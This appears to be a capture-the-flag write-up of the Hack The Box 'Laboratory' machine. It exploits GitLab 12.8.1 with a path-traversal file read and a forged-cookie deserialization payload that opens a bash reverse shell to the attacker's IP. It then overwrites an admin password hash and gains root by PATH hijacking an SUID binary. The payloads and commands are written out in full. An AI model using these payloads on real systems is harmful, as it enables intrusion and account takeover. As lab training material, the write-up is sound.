Posts Laboratory - Hack The Box
Post
Cancel

Laboratory - Hack The Box

Laboratory is largely about exploiting a GitLab instance. I’ll exploit a CVE to get arbitrary read and then code execution in the GitLab container. From there, I’ll use that access to get access to the admin’s private repo, which happens to have an SSH key. For root, I’ll escalate using PATH manipulation via chmod.

Portscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn: 
|_  http/1.1
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP Enumeration

Nothing found from ffuf, but adding git.laboratory.htb to the hosts file shows a gitlab instance. When creating an account on gitlab, it requires a specific domain for the email, so I used laboratory.htb and it worked. The /help page gives us the version of GitLab Community Edition 12.8.1.

Exploitation

This gitlab installation is vulnerable to Arbitrary File Read. exploit-db

The vulnerability works in a number of steps:

  1. Create two projects within gitlab
  2. Create an issue with a description of ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
  3. And move the issue to the other project and download the file, and you should be able to read the /etc/passwd file.

Referencing the bug report on this vulnerable gitlab release, we can grab the secrets.yml file using the Arbirary File Read. hackerone

PoC:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

Using this file, we are going to need a gitlab 12.8.7 docker container and move the secrets file to our container.

Manual without Docker: https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=12.8.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# docker-compose.yml
web:
  image: 'gitlab/gitlab-ce:12.8.7-ce.0'
  restart: always
  hostname: 'gitlab.example.com'
  environment:
    GITLAB_OMNIBUS_CONFIG: |
      external_url 'https://gitlab.example.com'
      # Add any other gitlab.rb configuration here, each on its own line
  ports:
    - '8088:8088'
    - '4433:4433'
    - '2222:2222'
  volumes:
    - './srv/gitlab/config:/etc/gitlab'
    - './srv/gitlab/logs:/var/log/gitlab'
    - './srv/gitlab/data:/var/opt/gitlab'

sudo docker-compose up -d

Once created, copy the laboratory secrets.yml to your container using docker cp.

After your gitlab environment is setup and the correct secrets are there, run gitlab-rails console -e production.

1
2
3
4
5
6
7
8
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo bash -i >& /dev/tcp/10.10.14.xx/1337 0>&1 | bash` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

This should output a cookie and add that to the experimentation_subject_id as its value.
Payload:

1
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kieSNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjI3LzEzMzcgMD4mMScgfCBiYXNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--9e4afd6e621baa51afc255bcc6ba3f1f8a9fb017"

Once you’ve obtained a shell, you will notice that you’re inside a docker container, we will need to use what’s available to us and overwrite the dexter user password hash using gitlab-rails dbconsole -e production.

  1. Generate a bcrypt hash of your prefered password using bcrypt-ruby.
  2. Use the UPDATE command in postgres to overwrite the encrypted_password field.

PoC:

1
UPDATE users SET encrypted_password = '$2a$12$CGw8MAE/O3tEI9DLnHVyL.6/jH8HvDDWeUtpp6D3Ecerj2NcpVusK' WHERE ID = 1;

After this command, you will be able to log in as dexter, once logged in, you will find a private securedocker repo that contains an SSH private key to user dexter. Login using that key, and you have user.

user.txt 15bf7a99b41a74d2c89ffe191bb916fb

Privilege Escalation

find / -perm -u=s -type f 2>/dev/null
Running the command above, you will find a /usr/local/bin/docker-secure SUID binary, copy this file over to your attacking machine and run strings and you will find it’s not referencing a full path to the chmod binary, indicating PATH Manipulation.

PoC:

1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/sh" > chmod
chmod 777 chmod
echo $PATH
export PATH=/tmp:$PATH
cd /usr/local/bin/
./docker-secure
id

root.txt 1e8801d33d96743922343494382f4182

This post is licensed under CC BY 4.0 by the author.